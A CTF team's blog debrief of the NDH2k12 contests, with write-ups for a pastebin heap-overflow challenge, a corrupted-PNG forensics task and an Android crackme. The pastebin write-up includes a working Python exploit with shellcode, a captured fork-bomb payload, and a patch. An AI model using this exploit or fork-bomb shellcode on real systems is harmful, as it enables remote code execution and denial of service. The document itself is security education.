To search

w3pwnz

w3pwnz, therefore we are

Tuesday, July 3 2012 12:03

NDH2k12 - Debriefing

baniere_ndh

We just participated in the "Nuit du Hack" CTFs the two last weekends. CTFs, with a "s", because there was two of them : a private and a public CTF. The 23 june was the "Nuit du Hack" event, and it was originally planned that the two CTFs take place here, in the same time, but unfortunately the public CTF was reported to the next weekend because of technical issues.



* Private CTF :

This was an attack/defense CTF ! Each team (13 in total) had a server with a dozen of services to patch/protect/attack.
We successfully exploited some webapp, and a so called "pastebin" challenge (a RCE caused by an overflow in a log parsing program), which played an important role in this CTF as we'll see :)

Unfortunately for us, at some time of the night (~ 3h30), almost all teams lost access to their VM, and without really knowing what was the cause of this situation, the staff decided to prematurely stop the CTF. So after validating our preciously keeped flags (~ 20 :p) we finished at the 2nd place with 4250pts, just behind HackerDom with 4960pts. This is not a bad score, but this left us with a slight taste of biterness when we latter learned what really happened : a team actually launched a fork bomb on the pastebin service (him again !) shutting down all the unpatched teams (More information : here(EN), here(EN), here(EN), here(EN), here(FR), here(FR) and here)

Since the pastebin was the one causing so much trouble, we wrote a little write-up that you can find here :)



scoreboard



* Public CTF :

So the public challenge was reported to the next weekend, and lasted 48h. This time it was a "classic" CTF, with some challenges to solve in categories like WebApp, Crackme, Forensics, Stegano or Crypto.
This time we finished 1st, with a total of 13710 points, by solving 23 out of 28 challenges \o/
You can find a few write ups here :



ranking_ndh_public.png



NDH2k12 Write-up Pastebin

The first thing we have for this challenge, is a "pastebin-like" website, with possibility to create, display, and delete entries
All actions are logged in the "pastebin.log" file, and new pastes are created in files "data/".md5($title).

The second part, is a cron job running every minute, calling the binary "resources/parse" which parses the pastebin.log file and update "resources/stats.html" with the current number of pastes, the number of actions, logged attacks (xss, lfi, sqli, ...). This file is then displayed in the website's index.

We also notice that the flag is in "resources/functions.php".

Here is the code for creating new pastes :

$log = fopen('pastebin.log', 'a');
if(isset($_POST['title'], $_POST['text'], $_POST['time'])) {
    $name = md5($_POST['title']);
    $time = intval($_POST['time']);
    file_put_contents("data/$name", $_POST['title']."\x00".$_POST['text']);
    $len = strlen($_POST['text']);
    fwrite($log, $time.' + '.$len.' '.$name.' '.$_POST['title']."\n");
    header("Location: ?id=$name");
    exit();
}

So a log entry has the following format :

timestamp + post_length md5_title title\n


Now the vulnerability. It's located in the "get_parse" routine of the parse binary :

void *__cdecl get_paste(int inputfd)
{
  char req_type; // [sp+2Bh] [bp-Dh]@1
  void *buffer; // [sp+2Ch] [bp-Ch]@1
 
  buffer = malloc(0x12Cu);
  __isoc99_fscanf(inputfd, "%d %c %d", buffer, &req_type, (char *)buffer + 292);
  if ( *(_DWORD *)buffer )
  {
    switch ( req_type )
    {
      case '-':
        *((_DWORD *)buffer + 74) = handle_del;
        break;
      case '?':
        *((_DWORD *)buffer + 74) = handle_query;
        break;
      case '+':
        *((_DWORD *)buffer + 74) = handle_add;
        break;
      default:
        free(buffer);
        buffer = 0;
        break;
    }
    __isoc99_fscanf(inputfd, "%32s %[^\n]s\n", (char *)buffer + 259, (char *)buffer + 4);
  }
  else
  {
    free(buffer);
    buffer = 0;
  }
  return buffer;
}

As we can see a buffer is allocated to hold the current paste's information. The first fscanf writes the timestamp at the beginning of the buffer (offset +0), the type in a separated variable (req_type) and the title's length at the end of the buffer (offset +292).
A handler pointer is then placed at buffer+74*4 (offset +296), and finally the second fscanf copies the title just after the timestamp (offset +4) without length control.
So the title (that we control) just has to be longer than 292 bytes to overflow, and overwrite the handler pointer, causing a segfault :

~/vhosts/ndhpastebin$ cat pastebin.log 
1340853859 + 2 c73301b7b71679067b02cff4cdc5e700 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb
1340853866 ? 0 c73301b7b71679067b02cff4cdc5e700 c73301b7b71679067b02cff4cdc5e700
~/vhosts/ndhpastebin$ ./resources/parse pastebin.log aaa
Erreur de segmentation (core dumped)
~/vhosts/ndhpastebin$ gdb resources/parse core
[...]
Core was generated by `./resources/parse pastebin.log aaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x62626262 in ?? ()
(gdb) x/16wx $eax
0x8d582d8:        0x4febce63        0x61616161        0x61616161        0x61616161
0x8d582e8:        0x61616161        0x61616161        0x61616161        0x61616161
0x8d582f8:        0x61616161        0x61616161        0x61616161        0x61616161
0x8d58308:        0x61616161        0x61616161        0x61616161        0x61616161
(gdb) 


We have overwritten EIP, and at the time of the crash, EAX points to the beginning of the buffer (timestamp + title).
The heap being executable, two "call eax" allow us to gain execution by directly jumping into our buffer :

~/vhosts/ndhpastebin$ objdump -D resources/parse | grep call | grep eax
 80486c8:        ff 14 85 8c a0 04 08         call   *0x804a08c(,%eax,4)
 804870f:        ff d0                        call   *%eax
 8048e0b:        ff d0                        call   *%eax

The timestamp is also not a problem, since it is also supplied by the user (variable $_POST['time']). So we'll just submit a timestamp equals to 0x90909090, then our shellcode in the title (padded to 292 bytes) followed by the address of one of the previous "call eax". And that's it :)
As we are in an attack/defense CTF, reverse-shells may be blocked, or monitored, so we'll use a shellcode to copy the wanted flag into an accessible location (we'll of course make sure to remove this file afterwards...)


This vulnerability has also been used by one of the team (Les_Pas_Contents) to execute a persistent fork-bomb, causing a lot of teams to loose access to their server, and an early end to the CTF...(thanks delroth for the attack dump). Here's the attack, in the 4th packet from 10.11.3.50 :

0040  18 66 50 4f 53 54 20 2f 20 48 54 54 50 2f 31 2e   .fPOST / HTTP/1.
0050  31 0d 0a 48 6f 73 74 3a 20 6c 6f 63 61 6c 68 6f   1..Host: localho
0060  73 74 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65   st..Content-Type
0070  3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d   : application/x-
0080  77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f   www-form-urlenco
0090  64 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e   ded..Content-Len
00a0  67 74 68 3a 20 39 31 37 0d 0a 0d 0a 74 69 74 6c   gth: 917....titl
00b0  65 3d 25 36 61 25 30 32 25 35 38 25 63 64 25 38   e=%6a%02%58%cd%8
00c0  30 25 65 62 25 66 39 25 63 63 25 34 32 25 34 32   0%eb%f9%cc%42%42

Disassembled code:

00000000  6A02              push byte +0x2
00000002  58                pop eax
00000003  CD80              int 0x80           ; fork()
00000005  EBF9              jmp short 0x0      ; infinite loop



How to patch the vulnerability :
A quick and dirty fix consists in directly edit the format string of the second fscanf in the parse binary, to set a length limit for the title :
(here we replaced "[\n]" by "0290")

__isoc99_fscanf(inputfd, "%32s %0290s\n", (char *)buffer + 259, (char *)buffer + 4);


Exploit :

import urllib2, sys, struct
 
# /bin/cp /var/www/pastebin/resources/functions.php /var/www/pastebin/nawak.txt
shellcode = "\x31\xc0\x66\xb8\x10\x10\x29\xc4\x89\xe1\x29\xc1\x31\xc0\x89\x01\x31\xc0\xb0\x74\xc1\xe0\x08\xb0\x78\xc1\xe0\x08\xb0\x74\x50\x68\x77\x61\x6b\x2e\x68\x6e\x2f\x6e\x61\x68\x74\x65\x62\x69\x68\x2f\x70\x61\x73\x68\x2f\x77\x77\x77\x68\x2f\x76\x61\x72\x49\x49\x49\x49\x89\x21\x31\xc0\xb0\x70\x50\x68\x73\x2e\x70\x68\x68\x74\x69\x6f\x6e\x68\x66\x75\x6e\x63\x68\x63\x65\x73\x2f\x68\x73\x6f\x75\x72\x68\x6e\x2f\x72\x65\x68\x74\x65\x62\x69\x68\x2f\x70\x61\x73\x68\x2f\x77\x77\x77\x68\x2f\x76\x61\x72\x49\x49\x49\x49\x89\x21\x31\xc0\xb0\x70\xc1\xe0\x08\xb0\x63\xc1\xe0\x08\xb0\x2f\x50\x68\x2f\x62\x69\x6e\x49\x49\x49\x49\x89\x21\x89\xe3\x31\xc0\x50\x89\xe2\x31\xc0\xb0\x0b\xcd\x80"
 
addr =  "08048e0b".decode("hex")[::-1] # call eax
stamp = struct.unpack("<i","\x90"*4)
 
title = shellcode.rjust(292,"\x90")
title += addr
 
if len(sys.argv)<2:
    print ("Usage: ", argv[0], " url")
    exit(1)
 
url = sys.argv[1]
 
def exploit():
    p =urllib2.urlopen(url, "title=" + urllib2.quote(title) + "&time=" + str(stamp) + "&text=bollocks")
    #print p.read()
 
exploit()

Monday, July 2 2012 21:08

NDH2k12-wargame Write-up What the file ?

Name What the file ?
Score 1000
Content While doing some forensics, an analyst found a weird file. Please help him.

We have this file unknown.bin

$ file unknown.bin.png
unknown.bin.png: PNG image data, CORRUPTED
$ pngcheck -vt7f unknown.bin
File: unknown.bin (1179008 bytes)
File is CORRUPTED.  It seems to have suffered EOL conversion.
It was probably transmitted in text mode.


Ok, it's a corrupted PNG that we have to patch.

We realized that the lengths and the chunks' names are affected by several alterations.

We begun by correcting those names and lengths for each chunk.

A quick reminder from the RFC 2083 about the chunk layout :

Length
	A 4-byte unsigned integer giving the number of bytes in the
	chunk's data field. The length counts only the data field, not
	itself, the chunk type code, or the CRC.  Zero is a valid
	length.  Although encoders and decoders should treat the length
	as unsigned, its value must not exceed (2^31)-1 bytes.

Chunk Type
	A 4-byte chunk type code.  For convenience in description and
	in examining PNG files, type codes are restricted to consist of
	uppercase and lowercase ASCII letters (A-Z and a-z, or 65-90
	and 97-122 decimal).  However, encoders and decoders must treat
	the codes as fixed binary values, not character strings.  For
	example, it would not be correct to represent the type code
	IDAT by the EBCDIC equivalents of those letters.  Additional
	naming conventions for chunk types are discussed in the next
	section.

Chunk Data
	The data bytes appropriate to the chunk type, if any.  This
	field can be of zero length.

CRC
	A 4-byte CRC (Cyclic Redundancy Check) calculated on the
	preceding bytes in the chunk, including the chunk type code and
	chunk data fields, but not including the length field. The CRC
	is always present, even for chunks containing no data.  See CRC
	algorithm (Section 3.4).

No apparent problem for IHDR, sBIT, pHYs, tEXt(Software) and IEND chunks.

For IDAT chunks, we can understand that they're 8192 bytes long.
We scripted the thing to patch the file from offset 0x6A each 8204 bytes (8192 + 4 + 4 + 4) to 00 00 20 00 49 44 41 54 (Length + "IDAT").

$ pngcheck -vt7f unknown.bin.png
  [...]
  chunk IDAT at offset 0x11c717, length 8192
  chunk IDAT at offset 0x11e723, length 8192:  EOF while reading data


We almost got a proper and genuine png file from pngcheck's point of view, except the latest IDAT chunk. This is normal, as this chunk is the latest one and isn't 8192 bytes long.

We fixed this by correcting with that value : size until the end of file - IEND chunk (12 bytes) - checksum (4 bytes) = 5705 bytes (0x1649).

$ pngcheck -vt7f unknown.bin.png
  [...]
  chunk IDAT at offset 0x11c717, length 8192
  chunk IDAT at offset 0x11e723, length 5705
  CRC error in chunk IDAT (actual 66b9b445, should be 68cf7786)
  chunk IEND at offset 0x11fd78, length 0



Weird, the checksum is not correct, unlike all the IDAT checksums so far...We'll see later.

As the image can be open with several editors, some others won't because of the latest chunk's checksum. Nevertheless, we can see our old Chuck Norris and only half of the flag.

wtf_chucknorris.png

650b0a5aa1ec4cea................

So at this time we have the first part of the flag...

The wrong checksum of the last IDAT is probably a good clue to get the second part of the flag.
At the end of the file, we can see above IEND chunk a ...zTX3..., maybe a zTXt chunk ? Let's give it a try...

The length will be 27 bytess, 0x1B.
We also changed the length of the last IDAT chunk, 5705 - 27 - 12 = 5666 that's to say 0x1622.

Excellent, this time no more problem with checksums.

$ pngcheck -vt7f unknown.bin.png
  [...]
  chunk IDAT at offset 0x11e723, length 5666
  chunk zTXt at offset 0x11fd51, length 27:   keyword has control characters, keyword: x\DA\D3\D3C\05\96\A9\06\C9\16\A6I\86\86i\89I\A6\A6\C9f
    (compressed zTXt text)
  zTXt chunk contains one or more control characters
  chunk IEND at offset 0x11fd78, length 0



Then let's decompress the string with zlib.

#!/usr/bin/python
import zlib
 
print zlib.decompress("78 DA D3 D3 43 05 96 A9 06 C9 16 A6 49 86 86 69 89 49 A6 A6 C9 66 00 6D 17 07 6F".replace(" ","").decode("hex"))



................9e0c85b11fab55c6

w3ll done

NDH2k12-wargame Write-up CrackMe Android

File : NDH.apk

We were asked to reverse an Android application, coming as an APK file.

The first move was to get the Java source of that application with dex2jar in order to decompile the APK into a plain JAR file.

If you ever want more information about this step, check out that link http://tinyurl.com/blcp353.

Once we have the JAR file, we opened it with JD-GUI and located the main Activity, that is to say the entry point of an application.

Here's the code :

package com.app.ndh;
 
import android.app.Activity;
import android.app.AlertDialog;
import android.app.AlertDialog.Builder;
import android.content.DialogInterface;
import android.content.DialogInterface.OnClickListener;
import android.os.Bundle;
import android.telephony.TelephonyManager;
import android.text.Editable;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TableLayout;
import android.widget.TextView;
 
public class NDHActivity extends Activity
{
  static
  {
    System.loadLibrary("verifyPass");
  }
 
  private native String print(String paramString);
 
  public void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    TextView localTextView = new TextView(this);
    localTextView.setText("Enter the code to activate this software :");
    AlertDialog.Builder localBuilder1 = new AlertDialog.Builder(this);
    AlertDialog.Builder localBuilder2 = localBuilder1.setCancelable(false);
    1 local1 = new DialogInterface.OnClickListener()
    {
      public void onClick(DialogInterface paramDialogInterface, int paramInt)
      {
      }
    };
    AlertDialog.Builder localBuilder3 = localBuilder1.setPositiveButton("OK", local1);
    EditText localEditText = new EditText(this);
    localEditText.setInputType(0);
    Button localButton = new Button(this);
    localButton.setText("Activation");
    TelephonyManager localTelephonyManager = (TelephonyManager)getSystemService("phone");
    2 local2 = new View.OnClickListener(localTelephonyManager, localBuilder1, localEditText)
    {
      public void onClick(View paramView)
      {
        if (Integer.decode(this.val$test.getDeviceId()).intValue() == 0)
          AlertDialog.Builder localBuilder1 = this.val$builder.setMessage("Bad Password");
        while (true)
        {
          this.val$builder.create().show();
          return;
          AlertDialog.Builder localBuilder2 = this.val$builder;
          NDHActivity localNDHActivity = NDHActivity.this;
          String str1 = this.val$tv2.getText().toString();
          String str2 = localNDHActivity.print(str1);
          AlertDialog.Builder localBuilder3 = localBuilder2.setMessage(str2);
        }
      }
    };
    localButton.setOnClickListener(local2);
    TableLayout localTableLayout = new TableLayout(this);
    localTableLayout.addView(localTextView);
    localTableLayout.addView(localEditText);
    localTableLayout.addView(localButton);
    setContentView(localTableLayout);
  }
}

Before going any further with that code, we wanted it to be running on a Android emulator and we had to patch few things.

This time, we completely disassembled the APK with apktool. This tool is BakSmaling (disassembling) the compiled code whose assembly representation is called Smali and unpacking all the files contained in an APK (certificates, libs etc.).
It also disassembles the graphical resources files and the AndroidManifest.xml file, which lists all the required settings for an application to run (platform version, permissions etc.).

android@honeynet:~/tools/apktool$ apktool d ~/ndh/NDH.apk ~/ndh/NDH_Decomp
I: Baksmaling...
I: Loading resource table...
I: Loaded.
I: Loading resource table from file: /home/android/apktool/framework/1.apk
I: Loaded.
I: Decoding file-resources...
I: Decoding values*/* XMLs...
I: Done.
I: Copying assets and libs...

Here's the AndroidManifest.xml :

<?xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="1" android:versionName="1.0" package="com.app.ndh"
  xmlns:android="http://schemas.android.com/apk/res/android">
    <uses-sdk android:minSdkVersion="15" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <application android:label="@string/app_name" android:icon="@drawable/ndh">
        <activity android:label="@string/app_name" android:name=".NDHActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
</manifest>

That manifest requires Android 4.0.3 (API 15) as minimum SDK version. Having a 2.3.3 (API 10) emulator, we just removed that line in the Manifest.

Now, let's go back into the code.

Just by reading the source, we're aware that this application graphically consists of a EditText (a textbox) and a Button. So basically, we have to enter an activation code and hit the button for it to be checked.

Once hit, the first check is :

if (Integer.decode(this.val$test.getDeviceId()).intValue() == 0)
	AlertDialog.Builder localBuilder1 = this.val$builder.setMessage("Bad Password");

To be read as : if the IMEI of the terminal equals 0, then always display "Bad Password", whatever activation code you typed (even the good one :)).

As the emulated terminals have no real IMEI, this value is set to 0. This first check is actually an anti-emulator feature :)

In order to remove that check, we had to directly patch the Smali code. Here's the original Smali section, in the NDH_Decomp/smali/com/app/ndh/NDHActivity$2.smali file :

iget-object v1, p0, Lcom/app/ndh/NDHActivity$2;->val$test:Landroid/telephony/TelephonyManager;
 
; Grab the terminal's IMEI
invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String; 
move-result-object v1
 
; Decode it as an integer value
invoke-static {v1}, Ljava/lang/Integer;->decode(Ljava/lang/String;)Ljava/lang/Integer; 
move-result-object v1
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
move-result v1
 
; if (v1 == IMEI) != 0 then jump to the cond_0 label (the legit "while(true){}" section), else print "Bad Password"
if-nez v1, :cond_0  
 
iget-object v1, p0, Lcom/app/ndh/NDHActivity$2;->val$builder:Landroid/app/AlertDialog$Builder;
const-string v2, "Bad Password"

We simply transformed the conditional jump "if-nez v1, :cond_0" to a unconditional jump, that's to say : "goto :cond_0"

Having both the Smali code and the Manifest patched, we rebuilt the application with apktool :

android@honeynet:~/tools/apktool$ apktool b ~/ndh/NDH_Decomp ~/ndh/New_NDH.apk
I: Checking whether sources has changed...
I: Checking whether resources has changed...
I: Building apk file...

Still, we needed to sign the application, as the emulator won't install an unsigned APK. Here comes the signing command, with a self-signed certificate :

android@honeynet:~/tools/apktool$ jarsigner -verbose -sigalg MD5withRSA -digestalg SHA1 -keystore /home/android/my-release-key.keystore -storepass my_pass ~/ndh/New_NDH.apk maz
  adding: META-INF/MANIFEST.MF
  adding: META-INF/MAZ.SF
  adding: META-INF/MAZ.RSA
  signing: lib/armeabi/libverifyPass.so
  signing: res/drawable-hdpi/ic_launcher.png
  signing: res/drawable-hdpi/ndh.png
  signing: res/drawable-ldpi/ic_launcher.png
  signing: res/drawable-ldpi/ndh.png
  signing: res/drawable-mdpi/ic_launcher.png
  signing: res/drawable-mdpi/ndh.png
  signing: res/drawable-xhdpi/ic_launcher.png
  signing: res/drawable-xhdpi/ndh.png
  signing: res/layout/main.xml
  signing: AndroidManifest.xml
  signing: classes.dex
  signing: resources.arsc

The patched APK can be found here. So now we can install and execute that application on an emulator.

app_home.png

Let's reverse that crackme ! Going back into the code, we have those 3 code sections:

static
{
	System.loadLibrary("verifyPass");
}
private native String print(String paramString);
NDHActivity localNDHActivity = NDHActivity.this;
String str1 = this.val$tv2.getText().toString();
String str2 = localNDHActivity.print(str1);
AlertDialog.Builder localBuilder3 = localBuilder2.setMessage(str2);

While the first instruction loads a native library, a .so file written in C and compiled with the NDK (Native Development Kit), the second stands for the declaration of the native method, here called "print".

The last part indicates that the text from the EditText element is passed to the native "print" method and its result is then displayed in a popup.

All in all, the validation routine is contained in that lib.

Thus, the next step was to reverse the "libverifyPass.so" file.
As said, apktool unpacked every file in the APK.

android@honeynet:~/ndh/NDH_Decomp$ file lib/armeabi/libverifyPass.so
lib/armeabi/libverifyPass.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, stripped

Let's start by opening libverifyPass in IDA.
In the "Strings" window, we only have two strings : "Bad password" & "Good password, this is the flag too".
Those two strings are only referenced in one function : "Java_com_app_ndh_NDHActivity_print", which is the function called from the Java source.
Here is a global view of this function :

crackme_android_ida.png

We can split it in a few basic blocks :

  • purple : initialization
  • yellow : main loop
  • blue : final tests
  • red : fail (references "bad password")
  • green : success (references "Good password")

Before going any further, let's see a few specific details of the JNI (Java Native Interface) :

.text:00000F68                 STR     R0, [SP,#0x140+ptr_vtable_like]
.text:00000F6A                 STR     R1, [SP,#0x140+not_used]
.text:00000F6C                 STR     R2, [SP,#0x140+user_string]

We can see in the above snippet of the initialization block, that the function takes 3 parameters (in R0-R2) that are immediatly saved in local variables on the stack. But the Java source only use one argument, so the first two must be implicit arguments from the JNI.

The second is unused, but the first is used like a pointer on a vtable in C++, containing some function pointers used to do virtual calls, as in the following snippet :

.text:00000F78                 LDR     R2, [R3]								; Address of the "vtable-like" in R2
.text:00000F7A                 MOVS    R3, 0x2A4							; Offset = 0x2A4
.text:00000F7E                 LDR     R3, [R2,R3]							; Address of the "virtual function"
.text:00000F80                 LDR     R1, [SP,#0x140+ptr_vtable_like]
.text:00000F82                 LDR     R2, [SP,#0x140+user_string]
.text:00000F84                 MOVS    R0, R1								; Arg 1 -> our pointer
.text:00000F86                 MOVS    R1, R2 								; Arg 2 -> our string
.text:00000F88                 MOVS    R2, #0 							; Arg 3 
.text:00000F8A                 BLX     R3									; "virtual call"

As explained in the wiki page, this is how the JNI works. All functions take a JNIEnv pointer as first parameter, which is a structure containing pointers to all the required method to interface with the JVM :

/* Example of a JNI function, taking a JNIEnv pointer as first parameter */
JNIEXPORT void JNICALL Java_ClassName_MethodName(JNIEnv *env, jobject obj, jstring javaString)
{
	/* Example of a function call, using a function pointer in JNIEnv */
	const char *nativeString = (*env)->GetStringUTFChars(env, javaString, 0);
	[...]
}

Our program use this type of call 3 times, with the indexes 0x2A4, 0x290 and 0x29C. To retreive the names of the corresponding fonctions, we can use directly the header file jni.h or this documentation which contains the indexes in the JNIEnv interface function table :

0x24A / 4 = 169 --> const jbyte* GetStringUTFChars(JNIEnv *env, jstring string, jboolean *isCopy);
0x290 / 4 = 164 --> jsize GetStringLength(JNIEnv *env, jstring string);
0x29C / 4 = 167 --> jstring NewStringUTF(JNIEnv *env, const char *bytes);

We can now analyse our routine with a full knowledge of which function it's using :)
Starting with the end (the blue "final tests" block), we can see that the block doesn't really test anything on the supplied string, except that the result of a previous call to "GetStringLength" must equals 0xC.
Besides, there's just some really basic anti debug trick here : a call to difftime() is made, with the return values of two calls to time() before and after the main loop, and the result is tested against a hardcoded double value, that it must not exeed (R2=0x00000000 R3=0x3FF00000, so our maximum value is 1.0, but we really don' care since we are doing this in static analysis :p)

So let's skip to the interesting part. In the initialization block, two counters are set to 0, and a call to GetStringLength is made (but not directly tested).

.text:00000FFE                 MOVS    R3, #0
.text:00001000                 STR     R3, [SP,#0x140+counter1]
.text:00001002                 MOVS    R3, #0
.text:00001004                 STR     R3, [SP,#0x140+counter2]

More important, some structures in the .rodata section are loaded into the stack, as we can see in the following snippet :

.text:00000F9A                 ADD     R3, SP, #0x140+loaded_27E0		; R3 = stack buffer
.text:00000F9C                 LDR     R2, =(dword_27E0 - 0xFA2)			; R2 = rodata buffer
.text:00000F9E                 ADD     R2, PC
.text:00000FA0                 LDMIA   R2!, {R0,R1,R5}					; Load from R2 into multiple registers (R0, R1 and R5), and increment R2
.text:00000FA2                 STMIA   R3!, {R0,R1,R5}					; Store to R3 from multiple registers, and increment R3
.text:00000FA4                 LDMIA   R2!, {R0,R1,R5}
.text:00000FA6                 STMIA   R3!, {R0,R1,R5}
.text:00000FA8                 LDMIA   R2!, {R0,R1,R5}
.text:00000FAA                 STMIA   R3!, {R0,R1,R5}
.text:00000FAC                 LDMIA   R2!, {R0,R1,R5}
.text:00000FAE                 STMIA   R3!, {R0,R1,R5}

Using R0, R1, and R5, and repeating LDMIA/STMIA 4 times, we can see that this code loads 12 dwords. And there are 5 blocks like this one. The last action of the initialization block is to load the first char of our string somewhere in the stack (SP+0x20+0xFF) :

.text:00000FF2                 MOV     R3, SP 						; stack
.text:00000FF4                 ADDS    R3, #0x20 					
.text:00000FF6                 ADDS    R3, #0xFF 					
.text:00000FF8                 LDR     R2, [SP,#0x140+c_string]		; our string, result of GetStringUTFChars
.text:00000FFA                 LDRB    R2, [R2] 					; first char
.text:00000FFC                 STRB    R2, [R3] 					; store it !

Now let's finish this crackme with the main loop :

It first exits the loop to the final block if the current character (stored in SP+0x20+0xFF) is zero, this is our stop condition. After entering the loop, it also exits and prints "bad password" if the counter1 is greater than 0xC. Otherwise, (this part is the interesting one) it computes a xor between two values in the previously loaded on the stack data, and compares the result with the current password :

.text:00001040                 LDR     R2, [SP,#0x140+counter1]			
.text:00001042                 ADD     R3, SP, #0x140+loaded_2810		
.text:00001044                 LSLS    R2, R2, #2 						; R2 = counter1 * 4
.text:00001046                 LDR     R2, [R2,R3] 						; R2 = loaded_2810[ counter1 * 4 ]
.text:00001048                 LDR     R1, [SP,#0x140+counter1] 		
.text:0000104A                 ADD     R3, SP, #0x140+loaded_2840		
.text:0000104C                 LSLS    R1, R1, #2 						; R1 = counter1 * 4
.text:0000104E                 LDR     R3, [R1,R3] 						; R3 = loaded_2840[ counter1 * 4 ]
.text:00001050                 EORS    R2, R3 							; R2 = loaded_2810[ counter1 * 4 ] ^ loaded_2840[ counter1 * 4 ]
.text:00001052                 LDR     R3, [SP,#0x140+counter1] 		
.text:00001054                 LDR     R1, [SP,#0x140+c_string]
.text:00001056                 ADDS    R3, R1, R3
.text:00001058                 LDRB    R3, [R3] 						; R3 = c_string[ counter1 ]
.text:0000105A                 CMP     R2, R3 							; compare R2 / R3

So this is it :)
The last block of the function doesn't do anything really important (increment the counters, update the current char tested at the beginning of the loop, do some xor on some previously loaded on the stack but unused data, ...)

We now have to dump the 2*12 dwords in the .rodata section, at 0x2810 and 0x2840, and xor them to obtain the password :

>>> a = [0x52,0x1A,0x09,0x7B,0x4B,0x5C,0x20,0x72,0x10,0x67,0x5E,0x49]
>>> b = [0x01,0x4E,0x4C,0x3A,0x00,0x08,0x14,0x20,0x44,0x53,0x0C,0x0C]
>>> "".join( [ chr(a[i] ^ b[i]) for i in range(len(a)) ] )
'STEAKT4RT4RE'

Pwned !

app_validation.png